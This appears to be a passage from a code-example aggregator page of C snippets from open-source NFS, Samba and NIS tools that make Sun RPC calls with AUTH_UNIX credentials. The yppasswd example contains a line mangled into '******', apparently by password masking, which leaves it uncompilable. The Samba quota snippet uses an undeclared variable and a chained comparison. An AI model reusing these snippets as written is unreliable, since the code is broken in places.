		if (retval == PAM_SUCCESS)
			retval = _update_passwd(forwho, "x");
	} else {
		retval = _update_passwd(forwho, towhat);
	}

	return retval;
}
Example #11
0
int
umountfs(char *oname)
{
	enum clnt_stat clnt_stat;
	struct hostent *hp;
	struct sockaddr_in saddr;
	struct stat sb;
	struct timeval pertry, try;
	CLIENT *clp;
	int so;
	char *delimp, *hostp, *mntpt;
	char *name, *newname, rname[MAXPATHLEN], type[MFSNAMELEN];

	if (realpath(oname, rname) == NULL)
		mntpt = name = oname;
	else
		mntpt = name = rname;
	newname = NULL;

	/* If we can stat the file, check to see if it is a device or non-dir */
	if (stat(name, &sb) == 0) {
	    if (S_ISBLK(sb.st_mode)) {
		if ((mntpt = getmntname(name, MNTON, type)) == NULL) {
			warnx("%s: not currently mounted", name);
			return (1);
		}
	    } else if (!S_ISDIR(sb.st_mode)) {
		warnx("%s: not a directory or special device", name);
		return (1);
	    }
	}

	/*
	 * Look up the name in the mount table.
	 * 99.9% of the time the path in the kernel is the one
	 * realpath() returns but check the original just in case...
	 */
	if (!(newname = getmntname(name, MNTFROM, type)) &&
	    !(mntpt = getmntname(name, MNTON, type)) ) {
		mntpt = oname;
		if (!(newname = getmntname(oname, MNTFROM, type)) &&
		    !(mntpt = getmntname(oname, MNTON, type))) {
			warnx("%s: not currently mounted", oname);
			return (1);
		}
	}
	if (newname)
		name = newname;

	if (!selected(type))
		return (1);

	if (!strncmp(type, MOUNT_NFS, MFSNAMELEN)) {
		if ((delimp = strchr(name, '@')) != NULL) {
			hostp = delimp + 1;
			*delimp = '\0';
			hp = gethostbyname(hostp);
			*delimp = '@';
		} else if ((delimp = strchr(name, ':')) != NULL) {
			*delimp = '\0';
			hostp = name;
			hp = gethostbyname(hostp);
			name = delimp + 1;
			*delimp = ':';
		} else
			hp = NULL;
		if (!namematch(hp))
			return (1);
	}

	if (verbose)
		(void)printf("%s: unmount from %s\n", name, mntpt);

	if (unmount(mntpt, fflag) < 0) {
		warn("%s", mntpt);
		return (1);
	}

	if (!strncmp(type, MOUNT_NFS, MFSNAMELEN) &&
	    (hp != NULL) && !(fflag & MNT_FORCE)) {
		*delimp = '\0';
		memset(&saddr, 0, sizeof(saddr));
		saddr.sin_family = AF_INET;
		saddr.sin_port = 0;
		memmove(&saddr.sin_addr, hp->h_addr, hp->h_length);
		pertry.tv_sec = 3;
		pertry.tv_usec = 0;
		so = RPC_ANYSOCK;
		if ((clp = clntudp_create(&saddr,
		    RPCPROG_MNT, RPCMNT_VER1, pertry, &so)) == NULL) {
			clnt_pcreateerror("Cannot MNT PRC");
			return (1);
		}
		clp->cl_auth = authunix_create_default();
		try.tv_sec = 20;
		try.tv_usec = 0;
		clnt_stat = clnt_call(clp,
		    RPCMNT_UMOUNT, xdr_dir, name, xdr_void, (caddr_t)0, try);
		if (clnt_stat != RPC_SUCCESS) {
			clnt_perror(clp, "Bad MNT RPC");
			return (1);
		}
		auth_destroy(clp->cl_auth);
		clnt_destroy(clp);
	}
Example #12
0
/* Restricted to SUNOS5 for the moment, I haven`t access to others to test. */ 
static BOOL nfs_quotas(char *nfspath, uid_t euser_id, SMB_BIG_UINT *bsize, SMB_BIG_UINT *dfree, SMB_BIG_UINT *dsize)
{
	uid_t uid = euser_id;
	struct dqblk D;
	char *mnttype = nfspath;
	CLIENT *clnt;
	struct getquota_rslt gqr;
	struct getquota_args args;
	char *cutstr, *pathname, *host, *testpath;
	int len;
	static struct timeval timeout = {2,0};
	enum clnt_stat clnt_stat;
	BOOL ret = True;

	*bsize = *dfree = *dsize = (SMB_BIG_UINT)0;

	len=strcspn(mnttype, ":");
	pathname=strstr(mnttype, ":");
	cutstr = (char *) malloc(len+1);
	if (!cutstr)
		return False;

	memset(cutstr, '\0', len+1);
	host = strncat(cutstr,mnttype, sizeof(char) * len );
	DEBUG(5,("nfs_quotas: looking for mount on \"%s\"\n", cutstr));
	DEBUG(5,("nfs_quotas: of path \"%s\"\n", mnttype));
	testpath=strchr(mnttype, ':');
	args.gqa_pathp = testpath+1;
	args.gqa_uid = uid;

	DEBUG(5,("nfs_quotas: Asking for host \"%s\" rpcprog \"%i\" rpcvers \"%i\" network \"%s\"\n", host, RQUOTAPROG, RQUOTAVERS, "udp"));

	if ((clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp")) == NULL) {
		ret = False;
		goto out;
	}

	clnt->cl_auth = authunix_create_default();
	DEBUG(9,("nfs_quotas: auth_success\n"));

	clnt_stat=clnt_call(clnt, RQUOTAPROC_GETQUOTA, xdr_getquota_args, (caddr_t)&args, xdr_getquota_rslt, (caddr_t)&gqr, timeout);

	if (clnt_stat != RPC_SUCCESS) {
		DEBUG(9,("nfs_quotas: clnt_call fail\n"));
		ret = False;
		goto out;
	}

	/* 
	 * quotastat returns 0 if the rpc call fails, 1 if quotas exist, 2 if there is
	 * no quota set, and 3 if no permission to get the quota.  If 0 or 3 return
	 * something sensible.
	 */   

	switch ( quotastat ) {
	case 0:
		DEBUG(9,("nfs_quotas: Remote Quotas Failed!  Error \"%i\" \n", quotastat ));
		ret = False;
		goto out;

	case 1:
		DEBUG(9,("nfs_quotas: Good quota data\n"));
		D.dqb_bsoftlimit = gqr.getquota_rslt_u.gqr_rquota.rq_bsoftlimit;
		D.dqb_bhardlimit = gqr.getquota_rslt_u.gqr_rquota.rq_bhardlimit;
		D.dqb_curblocks = gqr.getquota_rslt_u.gqr_rquota.rq_curblocks;
		break;

	case 2:
	case 3:
		D.dqb_bsoftlimit = 1;
		D.dqb_curblocks = 1;
		DEBUG(9,("nfs_quotas: Remote Quotas returned \"%i\" \n", quotastat ));
		break;

	default:
		DEBUG(9,("nfs_quotas: Remote Quotas Questionable!  Error \"%i\" \n", quotastat ));
		break;
	}

	DEBUG(10,("nfs_quotas: Let`s look at D a bit closer... status \"%i\" bsize \"%i\" active? \"%i\" bhard \"%i\" bsoft \"%i\" curb \"%i\" \n",
			quotastat,
			gqr.getquota_rslt_u.gqr_rquota.rq_bsize,
			gqr.getquota_rslt_u.gqr_rquota.rq_active,
			gqr.getquota_rslt_u.gqr_rquota.rq_bhardlimit,
			gqr.getquota_rslt_u.gqr_rquota.rq_bsoftlimit,
			gqr.getquota_rslt_u.gqr_rquota.rq_curblocks));

	*bsize = gqr.getquota_rslt_u.gqr_rquota.rq_bsize;
	*dsize = D.dqb_bsoftlimit;

	if (D.dqb_curblocks == D.dqb_curblocks == 1)
		*bsize = 512;

	if (D.dqb_curblocks > D.dqb_bsoftlimit) {
		*dfree = 0;
		*dsize = D.dqb_curblocks;
	} else
		*dfree = D.dqb_bsoftlimit - D.dqb_curblocks;

  out:

	if (clnt) {
		if (clnt->cl_auth)
			auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
	}

	DEBUG(5,("nfs_quotas: For path \"%s\" returning  bsize %.0f, dfree %.0f, dsize %.0f\n",args.gqa_pathp,(double)*bsize,(double)*dfree,(double)*dsize));

	safe_free(cutstr);
	DEBUG(10,("nfs_quotas: End of nfs_quotas\n" ));
	return ret;
}
Example #13
0
static int nfs_probe_statd(void)
{
	struct sockaddr_in addr = {
		.sin_family		= AF_INET,
		.sin_addr.s_addr	= htonl(INADDR_LOOPBACK),
	};
	rpcprog_t program = nfs_getrpcbyname(NSMPROG, nfs_ns_pgmtbl);

	return nfs_getport_ping((struct sockaddr *)&addr, sizeof(addr),
				program, (rpcvers_t)1, IPPROTO_UDP);
}

/**
 * start_statd - attempt to start rpc.statd
 *
 * Returns 1 if statd is running; otherwise zero.
 */
int start_statd(void)
{
#ifdef START_STATD
	struct stat stb;
#endif

	if (nfs_probe_statd())
		return 1;

#ifdef START_STATD
	if (stat(START_STATD, &stb) == 0) {
		if (S_ISREG(stb.st_mode) && (stb.st_mode & S_IXUSR)) {
			pid_t pid = fork();
			switch (pid) {
			case 0: /* child */
				execl(START_STATD, START_STATD, NULL);
				exit(1);
			case -1: /* error */
				nfs_error(_("fork failed: %s"),
							strerror(errno));
				break;
			default: /* parent */
				waitpid(pid, NULL,0);
				break;
			}
			if (nfs_probe_statd())
				return 1;
		}
	}
#endif

	return 0;
}

/**
 * nfs_advise_umount - ask the server to remove a share from it's rmtab
 * @sap: pointer to IP address of server to call
 * @salen: length of server address
 * @pmap: partially filled-in mountd RPC service tuple
 * @argp: directory path of share to "unmount"
 *
 * Returns one if the unmount call succeeded; zero if the unmount
 * failed for any reason;  rpccreateerr.cf_stat is set to reflect
 * the nature of the error.
 *
 * We use a fast timeout since this call is advisory only.
 */
int nfs_advise_umount(const struct sockaddr *sap, const socklen_t salen,
		      const struct pmap *pmap, const dirpath *argp)
{
	struct sockaddr_storage address;
	struct sockaddr *saddr = (struct sockaddr *)&address;
	struct pmap mnt_pmap = *pmap;
	struct timeval timeout = {
		.tv_sec		= MOUNT_TIMEOUT >> 3,
	};
	CLIENT *client;
	enum clnt_stat res = 0;

	if (nfs_probe_mntport(sap, salen, &mnt_pmap) == 0)
		return 0;

	memcpy(saddr, sap, salen);
	nfs_set_port(saddr, mnt_pmap.pm_port);

	client = nfs_get_rpcclient(saddr, salen, mnt_pmap.pm_prot,
					mnt_pmap.pm_prog, mnt_pmap.pm_vers,
					&timeout);
	if (client == NULL)
		return 0;

	client->cl_auth = authunix_create_default();

	res = CLNT_CALL(client, MOUNTPROC_UMNT,
			(xdrproc_t)xdr_dirpath, (caddr_t)argp,
			(xdrproc_t)xdr_void, NULL,
			timeout);

	auth_destroy(client->cl_auth);
	CLNT_DESTROY(client);

	if (res != RPC_SUCCESS)
		return 0;

	return 1;
}

/**
 * nfs_call_umount - ask the server to remove a share from it's rmtab
 * @mnt_server: address of RPC MNT program server
 * @argp: directory path of share to "unmount"
 *
 * Returns one if the unmount call succeeded; zero if the unmount
 * failed for any reason.
 *
 * Note that a side effect of calling this function is that rpccreateerr
 * is set.
 */
int nfs_call_umount(clnt_addr_t *mnt_server, dirpath *argp)
{
	struct sockaddr *sap = (struct sockaddr *)&mnt_server->saddr;
	socklen_t salen = sizeof(mnt_server->saddr);
	struct pmap *pmap = &mnt_server->pmap;
	CLIENT *clnt;
	enum clnt_stat res = 0;
	int msock;

	if (!nfs_probe_mntport(sap, salen, pmap))
		return 0;
	clnt = mnt_openclnt(mnt_server, &msock);
	if (!clnt)
		return 0;
	res = clnt_call(clnt, MOUNTPROC_UMNT,
			(xdrproc_t)xdr_dirpath, (caddr_t)argp,
			(xdrproc_t)xdr_void, NULL,
			TIMEOUT);
	mnt_closeclnt(clnt, msock);

	if (res == RPC_SUCCESS)
		return 1;
	return 0;
}

/**
 * mnt_openclnt - get a handle for a remote mountd service
 * @mnt_server: address and pmap arguments of mountd service
 * @msock: returns a file descriptor of the underlying transport socket
 *
 * Returns an active handle for the remote's mountd service
 */
CLIENT *mnt_openclnt(clnt_addr_t *mnt_server, int *msock)
{
	struct sockaddr_in *mnt_saddr = &mnt_server->saddr;
	struct pmap *mnt_pmap = &mnt_server->pmap;
	CLIENT *clnt = NULL;

	mnt_saddr->sin_port = htons((u_short)mnt_pmap->pm_port);
	*msock = get_socket(mnt_saddr, mnt_pmap->pm_prot, MOUNT_TIMEOUT,
				TRUE, FALSE);
	if (*msock == RPC_ANYSOCK) {
		if (rpc_createerr.cf_error.re_errno == EADDRINUSE)
			/*
			 * Probably in-use by a TIME_WAIT connection,
			 * It is worth waiting a while and trying again.
			 */
			rpc_createerr.cf_stat = RPC_TIMEDOUT;
		return NULL;
	}

	switch (mnt_pmap->pm_prot) {
	case IPPROTO_UDP:
		clnt = clntudp_bufcreate(mnt_saddr,
					 mnt_pmap->pm_prog, mnt_pmap->pm_vers,
					 RETRY_TIMEOUT, msock,
					 MNT_SENDBUFSIZE, MNT_RECVBUFSIZE);
		break;
	case IPPROTO_TCP:
		clnt = clnttcp_create(mnt_saddr,
				      mnt_pmap->pm_prog, mnt_pmap->pm_vers,
				      msock,
				      MNT_SENDBUFSIZE, MNT_RECVBUFSIZE);
		break;
	}
	if (clnt) {
		/* try to mount hostname:dirname */
		clnt->cl_auth = authunix_create_default();
		return clnt;
	}
	return NULL;
}

/**
 * mnt_closeclnt - terminate a handle for a remote mountd service
 * @clnt: pointer to an active handle for a remote mountd service
 * @msock: file descriptor of the underlying transport socket
 *
 */
void mnt_closeclnt(CLIENT *clnt, int msock)
{
	auth_destroy(clnt->cl_auth);
	clnt_destroy(clnt);
	close(msock);
}

/**
 * clnt_ping - send an RPC ping to the remote RPC service endpoint
 * @saddr: server's address
 * @prog: target RPC program number
 * @vers: target RPC version number
 * @prot: target RPC protocol
 * @caddr: filled in with our network address
 *
 * Sigh... GETPORT queries don't actually check the version number.
 * In order to make sure that the server actually supports the service
 * we're requesting, we open an RPC client, and fire off a NULL
 * RPC call.
 *
 * caddr is the network address that the server will use to call us back.
 * On multi-homed clients, this address depends on which NIC we use to
 * route requests to the server.
 *
 * Returns one if successful, otherwise zero.
 */
int clnt_ping(struct sockaddr_in *saddr, const unsigned long prog,
		const unsigned long vers, const unsigned int prot,
		struct sockaddr_in *caddr)
{
	CLIENT *clnt = NULL;
	int sock, stat;
	static char clnt_res;
	struct sockaddr dissolve;

	rpc_createerr.cf_stat = stat = 0;
	sock = get_socket(saddr, prot, CONNECT_TIMEOUT, FALSE, TRUE);
	if (sock == RPC_ANYSOCK) {
		if (rpc_createerr.cf_error.re_errno == ETIMEDOUT) {
			/*
			 * TCP timeout. Bubble up the error to see 
			 * how it should be handled.
			 */
			rpc_createerr.cf_stat = RPC_TIMEDOUT;
		}
		return 0;
	}

	if (caddr) {
		/* Get the address of our end of this connection */
		socklen_t len = sizeof(*caddr);
		if (getsockname(sock, caddr, &len) != 0)
			caddr->sin_family = 0;
	}

	switch(prot) {
	case IPPROTO_UDP:
		/* The socket is connected (so we could getsockname successfully),
		 * but some servers on multi-homed hosts reply from
		 * the wrong address, so if we stay connected, we lose the reply.
		 */
		dissolve.sa_family = AF_UNSPEC;
		connect(sock, &dissolve, sizeof(dissolve));

		clnt = clntudp_bufcreate(saddr, prog, vers,
					 RETRY_TIMEOUT, &sock,
					 RPCSMALLMSGSIZE, RPCSMALLMSGSIZE);
		break;
	case IPPROTO_TCP:
		clnt = clnttcp_create(saddr, prog, vers, &sock,
				      RPCSMALLMSGSIZE, RPCSMALLMSGSIZE);
		break;
	}
	if (!clnt) {
		close(sock);
		return 0;
	}
	memset(&clnt_res, 0, sizeof(clnt_res));
	stat = clnt_call(clnt, NULLPROC,
			 (xdrproc_t)xdr_void, (caddr_t)NULL,
			 (xdrproc_t)xdr_void, (caddr_t)&clnt_res,
			 TIMEOUT);
	if (stat) {
		clnt_geterr(clnt, &rpc_createerr.cf_error);
		rpc_createerr.cf_stat = stat;
	}
	clnt_destroy(clnt);
	close(sock);

	if (stat == RPC_SUCCESS)
		return 1;
	else
		return 0;
}
Example #14
0
static int
nfs_umount_rpc_call(const char *spec, const char *opts)
{
      register CLIENT *clp;
      struct sockaddr_in saddr;
      struct timeval pertry, try;
      enum clnt_stat clnt_stat;
      int so = RPC_ANYSOCK;
      struct hostent *hostp;
      char *hostname;
      char *dirname;
      char *p;

      if (spec == NULL || (p = strchr(spec,':')) == NULL)
		return 0;
      hostname = xstrndup(spec, p-spec);
      dirname = xstrdup(p+1);
#ifdef DEBUG
      printf("host: %s, directory: %s\n", hostname, dirname);
#endif

      if (opts && (p = strstr(opts, "addr="))) {
	   char *q;

	   free(hostname);
	   p += 5;
	   q = p;
	   while (*q && *q != ',') q++;
	   hostname = xstrndup(p,q-p);
      }

      if (hostname[0] >= '0' && hostname[0] <= '9')
	   saddr.sin_addr.s_addr = inet_addr(hostname);
      else {
	   if ((hostp = gethostbyname(hostname)) == NULL) {
		fprintf(stderr, "umount: can't get address for %s\n",
			hostname);
		return 1;
	   }
	   if (hostp->h_length > sizeof(struct in_addr)) {
		fprintf(stderr, "umount: got bad hostp->h_length\n");
		hostp->h_length = sizeof(struct in_addr);
	   }
	   memcpy(&saddr.sin_addr, hostp->h_addr, hostp->h_length);
      }

      saddr.sin_family = AF_INET;
      saddr.sin_port = 0;
      pertry.tv_sec = 3;
      pertry.tv_usec = 0;
      if ((clp = clntudp_create(&saddr, MOUNTPROG, MOUNTVERS,
				pertry, &so)) == NULL) {
	   clnt_pcreateerror("Cannot MOUNTPROG RPC");
	   return (1);
      }
      clp->cl_auth = authunix_create_default();
      try.tv_sec = 20;
      try.tv_usec = 0;
      clnt_stat = clnt_call(clp, MOUNTPROC_UMNT,
			    (xdrproc_t) xdr_dir, dirname,
			    (xdrproc_t) xdr_void, (caddr_t) 0,
			    try);

      if (clnt_stat != RPC_SUCCESS) {
	   clnt_perror(clp, "Bad UMNT RPC");
	   return (1);
      }
      auth_destroy(clp->cl_auth);
      clnt_destroy(clp);

      return (0);
}
Example #15
0
int
pw_yp(struct passwd *pw, uid_t uid)
{
	char uidbuf[20], gidbuf[20], *master, *p;
	int r, rpcport, status, alen;
	struct yppasswd yppasswd;
	struct timeval tv;
	CLIENT *client;

	/*
	 * Get local domain
	 */
	if (!domain && (r = yp_get_default_domain(&domain))) {
		fprintf(stderr, "%s: can't get local YP domain. Reason: %s\n",
		    __progname, yperr_string(r));
		return(0);
	}

	/*
	 * Find the host for the passwd map; it should be running
	 * the daemon.
	 */
	if ((r = yp_master(domain, "passwd.byname", &master)) != 0) {
		fprintf(stderr,
		    "%s: can't find the master YP server. Reason: %s\n",
		    __progname, yperr_string(r));
		return(0);
	}

	/*
	 * Ask the portmapper for the port of the daemon.
	 */
	if ((rpcport = getrpcport(master, YPPASSWDPROG, YPPASSWDPROC_UPDATE,
	    IPPROTO_UDP)) == 0) {
		fprintf(stderr,
		    "%s: master YP server not running yppasswd daemon.\n",
		    __progname);
		fprintf(stderr,	"\tCan't change password.\n");
		return(0);
	}

	/*
	 * Be sure the port is privileged
	 */
	if (rpcport >= IPPORT_RESERVED) {
		(void)fprintf(stderr,
		    "%s: yppasswd daemon running on an invalid port.\n",
		    __progname);
		return(0);
	}

	/* prompt for old password */
	bzero(&yppasswd, sizeof yppasswd);
	yppasswd.oldpass = "******";
	yppasswd.oldpass = getpass("Old password:"******"Cancelled.\n");
		return(0);
	}

	for (alen = 0, p = pw->pw_gecos; *p; p++)
		if (*p == '&')
			alen = alen + strlen(pw->pw_name) - 1;
	(void)snprintf(uidbuf, sizeof uidbuf, "%u", pw->pw_uid);
	(void)snprintf(gidbuf, sizeof gidbuf, "%u", pw->pw_gid);

	if (strlen(pw->pw_name) + 1 + strlen(pw->pw_passwd) + 1 +
	    strlen(uidbuf) + 1 + strlen(gidbuf) + 1 +
	    strlen(pw->pw_gecos) + alen + 1 + strlen(pw->pw_dir) + 1 +
	    strlen(pw->pw_shell) >= 1023) {
		warnx("entries too long");
		return (0);
	}

	/* tell rpc.yppasswdd */
	yppasswd.newpw.pw_name	= pw->pw_name;
	yppasswd.newpw.pw_passwd= pw->pw_passwd;
	yppasswd.newpw.pw_uid	= pw->pw_uid;
	yppasswd.newpw.pw_gid	= pw->pw_gid;
	yppasswd.newpw.pw_gecos = pw->pw_gecos;
	yppasswd.newpw.pw_dir	= pw->pw_dir;
	yppasswd.newpw.pw_shell	= pw->pw_shell;

	client = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp");
	if (client==NULL) {
		fprintf(stderr, "can't contact yppasswdd on %s: Reason: %s\n",
		    master, yperr_string(YPERR_YPBIND));
		return(1);
	}
	client->cl_auth = authunix_create_default();
	tv.tv_sec = 5;
	tv.tv_usec = 0;
	r = clnt_call(client, YPPASSWDPROC_UPDATE,
	    xdr_yppasswd, &yppasswd, xdr_int, &status, tv);
	if (r) {
		fprintf(stderr, "%s: rpc to yppasswdd failed. %d\n",
		    __progname, r);
		clnt_destroy(client);
		return(1);
	} else if (status) {
		printf("Couldn't change YP password information.\n");
		clnt_destroy(client);
		return(1);
	}
	printf("The YP password information has been changed on %s, the master YP passwd server.\n", master);

	clnt_destroy(client);
	return(0);
}
fsal_status_t
fsal_proxy_create_rpc_clnt(proxyfsal_op_context_t * ctx)
{
  int sock;
  struct sockaddr_in addr_rpc;
  struct timeval timeout = TIMEOUTRPC;
  int rc;
  int priv_port = 0 ; 
  fsal_status_t fsal_status;
  char addr[INET_ADDRSTRLEN];

  memset(&addr_rpc, 0, sizeof(addr_rpc));
  addr_rpc.sin_port = ctx->srv_port;
  addr_rpc.sin_family = AF_INET;
  addr_rpc.sin_addr.s_addr = ctx->srv_addr;

  if(!strcmp(ctx->srv_proto, "udp"))
    {
      struct timeval tv = { 25, 0};

      if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
        ReturnCode(ERR_FSAL_FAULT, errno);

      ctx->rpc_client = clntudp_bufcreate(&addr_rpc,
                                          ctx->srv_prognum,
                                          FSAL_PROXY_NFS_V4,
                                          tv,
                                          &sock,
                                          ctx->srv_sendsize,
                                          ctx->srv_recvsize);

      if(ctx->rpc_client == NULL)
        {

          LogCrit(COMPONENT_FSAL,
                  "Cannot contact server addr=%s port=%u prognum=%u using NFSv4 protocol",
                  inet_ntop(AF_INET, &ctx->srv_addr, addr, sizeof(addr)),
                  ntohs(ctx->srv_port), ctx->srv_prognum);

          ReturnCode(ERR_FSAL_INVAL, 0);
        }
    }
  else if(!strcmp(ctx->srv_proto, "tcp"))
    {
      if( ctx->use_privileged_client_port  == TRUE )
        {
	  if( (sock = rresvport( &priv_port ) )< 0 )
           {
             LogCrit(COMPONENT_FSAL, "Cannot create a tcp socket on a privileged port");
             ReturnCode(ERR_FSAL_FAULT, 0);
           }
        }
      else
        {
          if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
            {
              LogCrit(COMPONENT_FSAL, "Cannot create a tcp socket - %d", errno);
              ReturnCode(ERR_FSAL_FAULT, 0);
            }
        }

      if(connect(sock, (struct sockaddr *)&addr_rpc, sizeof(addr_rpc)) < 0)
        {
          LogCrit(COMPONENT_FSAL,
                  "Cannot connect to server addr=%s port=%u",
                  inet_ntop(AF_INET, &ctx->srv_addr, addr, sizeof(addr)),
                  ntohs(ctx->srv_port));

          ReturnCode(ERR_FSAL_FAULT, 0);
        }

      ctx->rpc_client = clnttcp_create(&addr_rpc,
                                       ctx->srv_prognum,
                                       FSAL_PROXY_NFS_V4,
                                       &sock,
                                       ctx->srv_sendsize,
                                       ctx->srv_recvsize);
      if(ctx->rpc_client == NULL)
        {
          LogCrit(COMPONENT_FSAL,
                  "Cannot contact server addr=%s port=%u prognum=%u using NFSv4 protocol",
                  inet_ntop(AF_INET, &ctx->srv_addr, addr, sizeof(addr)),
                  ntohs(ctx->srv_port), ctx->srv_prognum);

          ReturnCode(ERR_FSAL_INVAL, 0);
        }
    }
  else
    {
      ReturnCode(ERR_FSAL_INVAL, 0);
    }

  ctx->socket = sock;

#ifdef _USE_GSSRPC
  if(global_fsal_proxy_specific_info.active_krb5 == TRUE)
    {
      fsal_status = fsal_internal_set_auth_gss(ctx);
      if(FSAL_IS_ERROR(fsal_status))
        ReturnCode(fsal_status.major, fsal_status.minor);
    }
  else
#endif                          /* _USE_GSSRPC */

  if((ctx->rpc_auth = authunix_create_default()) == NULL)
    ReturnCode(ERR_FSAL_INVAL, 0);

  /* test if the newly created context can 'ping' the server via PROC_NULL */
  rc = clnt_call(ctx->rpc_client, ctx->rpc_auth, NFSPROC4_NULL,
                 (xdrproc_t) xdr_void, (caddr_t) NULL,
                 (xdrproc_t) xdr_void, (caddr_t) NULL, timeout);
  if(rc  != RPC_SUCCESS)
    ReturnCode(ERR_FSAL_INVAL, rc);

  fsal_status = FSAL_proxy_setclientid(ctx);
  if(FSAL_IS_ERROR(fsal_status))
    ReturnCode(ERR_FSAL_FAULT, 0);

  ReturnCode(ERR_FSAL_NO_ERROR, 0);
}
Example #17
0
static int
yppasswd_local(ypclnt_t *ypclnt, const struct passwd *pwd)
{
	struct master_yppasswd yppwd;
	struct rpc_err rpcerr;
	struct netconfig *nc = NULL;
	void *localhandle = NULL;
	CLIENT *clnt = NULL;
	int ret, *result;

	/* fill the master_yppasswd structure */
	memset(&yppwd, 0, sizeof yppwd);
	yppwd.newpw.pw_uid = pwd->pw_uid;
	yppwd.newpw.pw_gid = pwd->pw_gid;
	yppwd.newpw.pw_change = pwd->pw_change;
	yppwd.newpw.pw_expire = pwd->pw_expire;
	yppwd.newpw.pw_fields = pwd->pw_fields;
	yppwd.oldpass = strdup("");
	yppwd.domain = strdup(ypclnt->domain);
	if ((yppwd.newpw.pw_name = strdup(pwd->pw_name)) == NULL ||
	    (yppwd.newpw.pw_passwd = strdup(pwd->pw_passwd)) == NULL ||
	    (yppwd.newpw.pw_class = strdup(pwd->pw_class)) == NULL ||
	    (yppwd.newpw.pw_gecos = strdup(pwd->pw_gecos)) == NULL ||
	    (yppwd.newpw.pw_dir = strdup(pwd->pw_dir)) == NULL ||
	    (yppwd.newpw.pw_shell = strdup(pwd->pw_shell)) == NULL) {
		ypclnt_error(ypclnt, __func__, strerror(errno));
		ret = -1;
		goto done;
	}

	/* connect to rpc.yppasswdd */
	localhandle = setnetconfig();
	while ((nc = getnetconfig(localhandle)) != NULL) {
		if (nc->nc_protofmly != NULL &&
		    strcmp(nc->nc_protofmly, NC_LOOPBACK) == 0)
			break;
	}
	if (nc == NULL) {
		ypclnt_error(ypclnt, __func__,
		    "getnetconfig: %s", nc_sperror());
		ret = -1;
		goto done;
	}
	if ((clnt = clnt_tp_create(NULL, MASTER_YPPASSWDPROG,
	    MASTER_YPPASSWDVERS, nc)) == NULL) {
		ypclnt_error(ypclnt, __func__,
		    "failed to connect to rpc.yppasswdd: %s",
		    clnt_spcreateerror(ypclnt->server));
		ret = -1;
		goto done;
	}
	clnt->cl_auth = authunix_create_default();

	/* request the update */
	result = yppasswdproc_update_master_1(&yppwd, clnt);

	/* check for RPC errors */
	clnt_geterr(clnt, &rpcerr);
	if (rpcerr.re_status != RPC_SUCCESS) {
		ypclnt_error(ypclnt, __func__,
		    "NIS password update failed: %s",
		    clnt_sperror(clnt, ypclnt->server));
		ret = -1;
		goto done;
	}

	/* check the result of the update */
	if (result == NULL || *result != 0) {
		ypclnt_error(ypclnt, __func__,
		    "NIS password update failed");
		/* XXX how do we get more details? */
		ret = -1;
		goto done;
	}

	ypclnt_error(ypclnt, NULL, NULL);
	ret = 0;

 done:
	if (clnt != NULL) {
		auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
	}
	endnetconfig(localhandle);
	free(yppwd.newpw.pw_name);
	if (yppwd.newpw.pw_passwd != NULL) {
		memset(yppwd.newpw.pw_passwd, 0, strlen(yppwd.newpw.pw_passwd));
		free(yppwd.newpw.pw_passwd);
	}
	free(yppwd.newpw.pw_class);
	free(yppwd.newpw.pw_gecos);
	free(yppwd.newpw.pw_dir);
	free(yppwd.newpw.pw_shell);
	if (yppwd.oldpass != NULL) {
		memset(yppwd.oldpass, 0, strlen(yppwd.oldpass));
		free(yppwd.oldpass);
	}
	return (ret);
}
Example #18
0
int sys_get_nfs_quota(const char *path, const char *bdev,
		      enum SMB_QUOTA_TYPE qtype,
		      unid_t id, SMB_DISK_QUOTA *dp)
{
	CLIENT *clnt = NULL;
	struct getquota_rslt gq_rslt;
	struct getquota_args gq_args;
	const char *mnttype;
	char *cutstr, *host, *testpath;
	int len;
	static struct timeval timeout = {2,0};
	enum clnt_stat clnt_stat;

	int ret = -1;
	uint32_t qflags = 0;

	if (!path || !bdev || !dp) {
		smb_panic("sys_get_nfs_quota: called with NULL pointer");
	}

	DEBUG(10, ("sys_get_nfs_quota: path[%s] bdev[%s] qtype[%d]\n",
		   path, bdev, qtype));

	ZERO_STRUCT(*dp);

	dp->qtype = qtype;

	if (qtype != SMB_USER_QUOTA_TYPE) {
		DEBUG(3, ("sys_get_nfs_quota: got unsupported quota type '%d', "
			  "only supported type is '%d' (SMB_USER_QUOTA_TYPE)\n",
			  qtype, SMB_USER_QUOTA_TYPE));
		errno = ENOSYS;
		return -1;
	}

	mnttype = bdev;
	len = strcspn(mnttype, ":");
	cutstr = (char *) SMB_MALLOC(len+1);
	if (cutstr == NULL) {
		errno = ENOMEM;
		return -1;
	}

	memset(cutstr, '\0', len+1);
	host = strncat(cutstr, mnttype, sizeof(char) * len);
	testpath = strchr_m(mnttype, ':');
	if (testpath == NULL) {
		errno = EINVAL;
		goto out;
	}
	testpath++;
	gq_args.gqa_pathp = testpath;
	gq_args.gqa_uid = id.uid;

	DEBUG(10, ("sys_get_nfs_quotas: Asking for quota of path '%s' on "
		   "host '%s', rpcprog '%i', rpcvers '%i', network '%s'\n",
		   host, testpath+1, (int)RQUOTAPROG, (int)RQUOTAVERS, "udp"));

	clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp");
	if (clnt == NULL) {
		ret = -1;
		goto out;
	}

	clnt->cl_auth = authunix_create_default();
	if (clnt->cl_auth == NULL) {
		DEBUG(3, ("sys_get_nfs_quotas: authunix_create_default "
			  "failed\n"));
		ret = -1;
		goto out;
	}

	clnt_stat = clnt_call(clnt,
			      RQUOTAPROC_GETQUOTA,
			      (const xdrproc_t) my_xdr_getquota_args,
			      (caddr_t)&gq_args,
			      (const xdrproc_t) my_xdr_getquota_rslt,
			      (caddr_t)&gq_rslt,
			      timeout);

	if (clnt_stat != RPC_SUCCESS) {
		if (errno == ECONNREFUSED) {
			/* If we cannot connect with rpc.quotad, it may
			 * simply be because there's no quota on the remote
			 * system
			 */
			DBG_INFO("clnt_call failed with ECONNREFUSED - "
				 "assuming no quotas on server\n");
			ret = 0;
		} else {
			int save_errno = errno;
			DBG_NOTICE("clnt_call failed - %s\n", strerror(errno));
			errno = save_errno;
			ret = -1;
		}
		goto out;
	}

